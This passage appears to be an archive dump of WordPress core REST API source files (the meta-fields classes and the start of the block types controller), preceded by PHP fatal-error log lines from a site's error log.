  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
[03-Nov-2025 11:29:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[03-Nov-2025 11:31:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[03-Nov-2025 18:12:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-comment-meta-fields.php on line 17
[04-Nov-2025 00:30:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-post-meta-fields.php on line 17
[04-Nov-2025 01:41:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-user-meta-fields.php on line 17
[04-Nov-2025 02:08:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Meta_Fields" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php on line 17
fields/class-wp-rest-user-meta-fields.php000064400000001530151024200430014361 0ustar00<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the user meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The user meta type.
	 */
	protected function get_meta_type() {
		return 'user';
	}

	/**
	 * Retrieves the user meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'user' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'user';
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The user REST field type.
	 */
	public function get_rest_field_type() {
		return 'user';
	}
}
fields/class-wp-rest-comment-meta-fields.php000064400000001577151024200430015060 0ustar00<?php
/**
 * REST API: WP_REST_Comment_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Comment_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Retrieves the comment type for comment meta.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'comment';
	}

	/**
	 * Retrieves the comment meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string 'comment' There are no subtypes.
	 */
	protected function get_meta_subtype() {
		return 'comment';
	}

	/**
	 * Retrieves the type for register_rest_field() in the context of comments.
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'comment';
	}
}
fields/class-wp-rest-meta-fields.php000064400000044122151024200430013411 0ustar00<?php
/**
 * REST API: WP_REST_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to manage meta values for an object via the REST API.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Meta_Fields {

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string One of 'post', 'comment', 'term', 'user', or anything
	 *                else supported by `_get_meta_table()`.
	 */
	abstract protected function get_meta_type();

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return '';
	}

	/**
	 * Retrieves the object type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type, such as post type name, taxonomy name, 'comment', or `user`.
	 */
	abstract protected function get_rest_field_type();

	/**
	 * Registers the meta field.
	 *
	 * @since 4.7.0
	 * @deprecated 5.6.0
	 *
	 * @see register_rest_field()
	 */
	public function register_field() {
		_deprecated_function( __METHOD__, '5.6.0' );

		register_rest_field(
			$this->get_rest_field_type(),
			'meta',
			array(
				'get_callback'    => array( $this, 'get_value' ),
				'update_callback' => array( $this, 'update_value' ),
				'schema'          => $this->get_field_schema(),
			)
		);
	}

	/**
	 * Retrieves the meta field value.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $object_id Object ID to fetch meta for.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return array Array containing the meta values keyed by name.
	 */
	public function get_value( $object_id, $request ) {
		$fields   = $this->get_registered_fields();
		$response = array();

		foreach ( $fields as $meta_key => $args ) {
			$name       = $args['name'];
			$all_values = get_metadata( $this->get_meta_type(), $object_id, $meta_key, false );

			if ( $args['single'] ) {
				if ( empty( $all_values ) ) {
					$value = $args['schema']['default'];
				} else {
					$value = $all_values[0];
				}

				$value = $this->prepare_value_for_response( $value, $request, $args );
			} else {
				$value = array();

				if ( is_array( $all_values ) ) {
					foreach ( $all_values as $row ) {
						$value[] = $this->prepare_value_for_response( $row, $request, $args );
					}
				}
			}

			$response[ $name ] = $value;
		}

		return $response;
	}

	/**
	 * Prepares a meta value for a response.
	 *
	 * This is required because some native types cannot be stored correctly
	 * in the database, such as booleans. We need to cast back to the relevant
	 * type before passing back to JSON.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value to prepare.
	 * @param WP_REST_Request $request Current request object.
	 * @param array           $args    Options for the field.
	 * @return mixed Prepared value.
	 */
	protected function prepare_value_for_response( $value, $request, $args ) {
		if ( ! empty( $args['prepare_callback'] ) ) {
			$value = call_user_func( $args['prepare_callback'], $value, $request, $args );
		}

		return $value;
	}

	/**
	 * Updates meta values.
	 *
	 * @since 4.7.0
	 *
	 * @param array $meta      Array of meta parsed from the request.
	 * @param int   $object_id Object ID to fetch meta for.
	 * @return null|WP_Error Null on success, WP_Error object on failure.
	 */
	public function update_value( $meta, $object_id ) {
		$fields = $this->get_registered_fields();
		$error  = new WP_Error();

		foreach ( $fields as $meta_key => $args ) {
			$name = $args['name'];
			if ( ! array_key_exists( $name, $meta ) ) {
				continue;
			}

			$value = $meta[ $name ];

			/*
			 * A null value means reset the field, which is essentially deleting it
			 * from the database and then relying on the default value.
			 *
			 * Non-single meta can also be removed by passing an empty array.
			 */
			if ( is_null( $value ) || ( array() === $value && ! $args['single'] ) ) {
				$args = $this->get_registered_fields()[ $meta_key ];

				if ( $args['single'] ) {
					$current = get_metadata( $this->get_meta_type(), $object_id, $meta_key, true );

					if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) {
						$error->add(
							'rest_invalid_stored_value',
							/* translators: %s: Custom field key. */
							sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
							array( 'status' => 500 )
						);
						continue;
					}
				}

				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
				if ( is_wp_error( $result ) ) {
					$error->merge_from( $result );
				}
				continue;
			}

			if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) {
				$error->add(
					'rest_invalid_stored_value',
					/* translators: %s: Custom field key. */
					sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
					array( 'status' => 500 )
				);
				continue;
			}

			$is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name );
			if ( is_wp_error( $is_valid ) ) {
				$is_valid->add_data( array( 'status' => 400 ) );
				$error->merge_from( $is_valid );
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $args['schema'] );

			if ( $args['single'] ) {
				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
			} else {
				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
			}

			if ( is_wp_error( $result ) ) {
				$error->merge_from( $result );
				continue;
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		return null;
	}

	/**
	 * Deletes a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID the field belongs to.
	 * @param string $meta_key  Key for the field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @return true|WP_Error True if meta field is deleted, WP_Error otherwise.
	 */
	protected function delete_meta_value( $object_id, $meta_key, $name ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return true;
		}

		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not delete meta value from database.' ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Updates multiple meta values for an object.
	 *
	 * Alters the list of values in the database to match the list of provided values.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param array  $values    List of values to update to.
	 * @return true|WP_Error True if meta fields are updated, WP_Error otherwise.
	 */
	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		$current_values = get_metadata_raw( $meta_type, $object_id, $meta_key, false );
		$subtype        = get_object_subtype( $meta_type, $object_id );

		if ( ! is_array( $current_values ) ) {
			$current_values = array();
		}

		$to_remove = $current_values;
		$to_add    = $values;

		foreach ( $to_add as $add_key => $value ) {
			$remove_keys = array_keys(
				array_filter(
					$current_values,
					function ( $stored_value ) use ( $meta_key, $subtype, $value ) {
						return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value );
					}
				)
			);

			if ( empty( $remove_keys ) ) {
				continue;
			}

			if ( count( $remove_keys ) > 1 ) {
				// To remove, we need to remove first, then add, so don't touch.
				continue;
			}

			$remove_key = $remove_keys[0];

			unset( $to_remove[ $remove_key ] );
			unset( $to_add[ $add_key ] );
		}

		/*
		 * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise,
		 * `delete_metadata` will return false for subsequent calls of the same value.
		 * Use serialization to produce a predictable string that can be used by array_unique.
		 */
		$to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) );

		foreach ( $to_remove as $value ) {
			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		foreach ( $to_add as $value ) {
			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		return true;
	}

	/**
	 * Updates a meta value for an object.
	 *
	 * @since 4.7.0
	 * @since 6.7.0 Stores values into DB even if provided registered default value.
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param mixed  $value     Updated value.
	 * @return true|WP_Error True if the meta field was updated, WP_Error otherwise.
	 */
	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
		$meta_type = $this->get_meta_type();

		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		$subtype   = get_object_subtype( $meta_type, $object_id );

		if ( is_array( $old_value ) && 1 === count( $old_value )
			&& $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value )
		) {
			return true;
		}

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Checks if the user provided value is equivalent to a stored value for the given meta key.
	 *
	 * @since 5.5.0
	 *
	 * @param string $meta_key     The meta key being checked.
	 * @param string $subtype      The object subtype.
	 * @param mixed  $stored_value The currently stored value retrieved from get_metadata().
	 * @param mixed  $user_value   The value provided by the user.
	 * @return bool
	 */
	protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) {
		$args      = $this->get_registered_fields()[ $meta_key ];
		$sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype );

		if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			// The return value of get_metadata will always be a string for scalar types.
			$sanitized = (string) $sanitized;
		}

		return $sanitized === $stored_value;
	}

	/**
	 * Retrieves all the registered meta fields.
	 *
	 * @since 4.7.0
	 *
	 * @return array Registered fields.
	 */
	protected function get_registered_fields() {
		$registered = array();

		$meta_type    = $this->get_meta_type();
		$meta_subtype = $this->get_meta_subtype();

		$meta_keys = get_registered_meta_keys( $meta_type );
		if ( ! empty( $meta_subtype ) ) {
			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
		}

		foreach ( $meta_keys as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$default_args = array(
				'name'             => $name,
				'single'           => $args['single'],
				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
				'schema'           => array(),
				'prepare_callback' => array( $this, 'prepare_value' ),
			);

			$default_schema = array(
				'type'        => $default_args['type'],
				'title'       => empty( $args['label'] ) ? '' : $args['label'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args           = array_merge( $default_args, $rest_args );
			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );

			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;

			if ( null === $rest_args['schema']['default'] ) {
				$rest_args['schema']['default'] = static::get_empty_value_for_type( $type );
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
				continue;
			}

			if ( empty( $rest_args['single'] ) ) {
				$rest_args['schema'] = array(
					'type'  => 'array',
					'items' => $rest_args['schema'],
				);
			}

			$registered[ $name ] = $rest_args;
		}

		return $registered;
	}

	/**
	 * Retrieves the object's meta schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Field schema data.
	 */
	public function get_field_schema() {
		$fields = $this->get_registered_fields();

		$schema = array(
			'description' => __( 'Meta fields.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'properties'  => array(),
			'arg_options' => array(
				'sanitize_callback' => null,
				'validate_callback' => array( $this, 'check_meta_is_array' ),
			),
		);

		foreach ( $fields as $args ) {
			$schema['properties'][ $args['name'] ] = $args['schema'];
		}

		return $schema;
	}

	/**
	 * Prepares a meta value for output.
	 *
	 * Default preparation for meta fields. Override by passing the
	 * `prepare_callback` in your `show_in_rest` options.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value from the database.
	 * @param WP_REST_Request $request Request object.
	 * @param array           $args    REST-specific options for the meta key.
	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
	 */
	public static function prepare_value( $value, $request, $args ) {
		if ( $args['single'] ) {
			$schema = $args['schema'];
		} else {
			$schema = $args['schema']['items'];
		}

		if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) {
			$value = static::get_empty_value_for_type( $schema['type'] );
		}

		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Check the 'meta' value of a request is an associative array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The meta value submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return array|false The meta array, if valid, false otherwise.
	 */
	public function check_meta_is_array( $value, $request, $param ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		return $value;
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting
	 * is specified.
	 *
	 * This is needed to restrict properties of objects in meta values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 5.3.0
	 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function default_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}

	/**
	 * Gets the empty value for a schema type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $type The schema type.
	 * @return mixed
	 */
	protected static function get_empty_value_for_type( $type ) {
		switch ( $type ) {
			case 'string':
				return '';
			case 'boolean':
				return false;
			case 'integer':
				return 0;
			case 'number':
				return 0.0;
			case 'array':
			case 'object':
				return array();
			default:
				return null;
		}
	}
}
fields/class-wp-rest-post-meta-fields.php000064400000002334151024200430014373 0ustar00<?php
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the post meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the post meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
fields/class-wp-rest-term-meta-fields.php000064400000002331151024200430014352 0ustar00<?php
/**
 * REST API: WP_REST_Term_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for terms via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Term_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Taxonomy to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to register fields for.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Retrieves the term meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'term';
	}

	/**
	 * Retrieves the term meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->taxonomy;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy;
	}
}
endpoints/class-wp-rest-block-types-controller.php000064400000064375151024200430016405 0ustar00<?php
/**
 * REST API: WP_REST_Block_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class used to access block types via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Types_Controller extends WP_REST_Controller {

	const NAME_PATTERN = '^[a-z][a-z0-9-]*/[a-z][a-z0-9-]*$';

	/**
	 * Instance of WP_Block_Type_Registry.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type_Registry
	 */
	protected $block_registry;

	/**
	 * Instance of WP_Block_Styles_Registry.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Styles_Registry
	 */
	protected $style_registry;

	/**
	 * Constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace      = 'wp/v2';
		$this->rest_base      = 'block-types';
		$this->block_registry = WP_Block_Type_Registry::get_instance();
		$this->style_registry = WP_Block_Styles_Registry::get_instance();
	}

	/**
	 * Registers the routes for block types.
	 *
	 * @since 5.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)/(?P<name>[a-zA-Z0-9_-]+)',
			array(
				'args'   => array(
					'name'      => array(
						'description' => __( 'Block name.' ),
						'type'        => 'string',
					),
					'namespace' => array(
						'description' => __( 'Block namespace.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post block types.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_read_permission();
	}

	/**
	 * Retrieves all post block types, depending on user context.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$data        = array();
		$block_types = $this->block_registry->get_all_registered();

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$namespace  = '';
		if ( isset( $registered['namespace'] ) && ! empty( $request['namespace'] ) ) {
			$namespace = $request['namespace'];
		}

		foreach ( $block_types as $obj ) {
			if ( $namespace ) {
				list ( $block_namespace ) = explode( '/', $obj->name );

				if ( $namespace !== $block_namespace ) {
					continue;
				}
			}
			$block_type = $this->prepare_item_for_response( $obj, $request );
			$data[]     = $this->prepare_response_for_collection( $block_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->check_read_permission();
		if ( is_wp_error( $check ) ) {
			return $check;
		}
		$block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] );
		$block_type = $this->get_block( $block_name );
		if ( is_wp_error( $block_type ) ) {
			return $block_type;
		}

		return true;
	}

	/**
	 * Checks whether a given block type should be visible.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if the block type is visible, WP_Error otherwise.
	 */
	protected function check_read_permission() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error( 'rest_block_type_cannot_view', __( 'Sorry, you are not allowed to manage block types.' ), array( 'status' => rest_authorization_required_code() ) );
	}

	/**
	 * Get the block, if the name is valid.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Block name.
	 * @return WP_Block_Type|WP_Error Block type object if name is valid, WP_Error otherwise.
	 */
	protected function get_block( $name ) {
		$block_type = $this->block_registry->get_registered( $name );
		if ( empty( $block_type ) ) {
			return new WP_Error( 'rest_block_type_invalid', __( 'Invalid block type.' ), array( 'status' => 404 ) );
		}

		return $block_type;
	}

	/**
	 * Retrieves a specific block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] );
		$block_type = $this->get_block( $block_name );
		if ( is_wp_error( $block_type ) ) {
			return $block_type;
		}
		$data = $this->prepare_item_for_response( $block_type, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a block type object for serialization.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$block_type` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `selectors` field.
	 * @since 6.5.0 Added `view_script_module_ids` field.
	 *
	 * @param WP_Block_Type   $item    Block type data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Block type data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$block_type = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php */
			return apply_filters( 'rest_prepare_block_type', new WP_REST_Response( array() ), $block_type, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'attributes', $fields ) ) {
			$data['attributes'] = $block_type->get_attributes();
		}

		if ( rest_is_field_included( 'is_dynamic', $fields ) ) {
			$data['is_dynamic'] = $block_type->is_dynamic();
		}

		$schema = $this->get_item_schema();
		// Fields deprecated in WordPress 6.1, but left in the schema for backwards compatibility.
		$deprecated_fields = array(
			'editor_script',
			'script',
			'view_script',
			'editor_style',
			'style',
		);
		$extra_fields      = array_merge(
			array(
				'api_version',
				'name',
				'title',
				'description',
				'icon',
				'category',
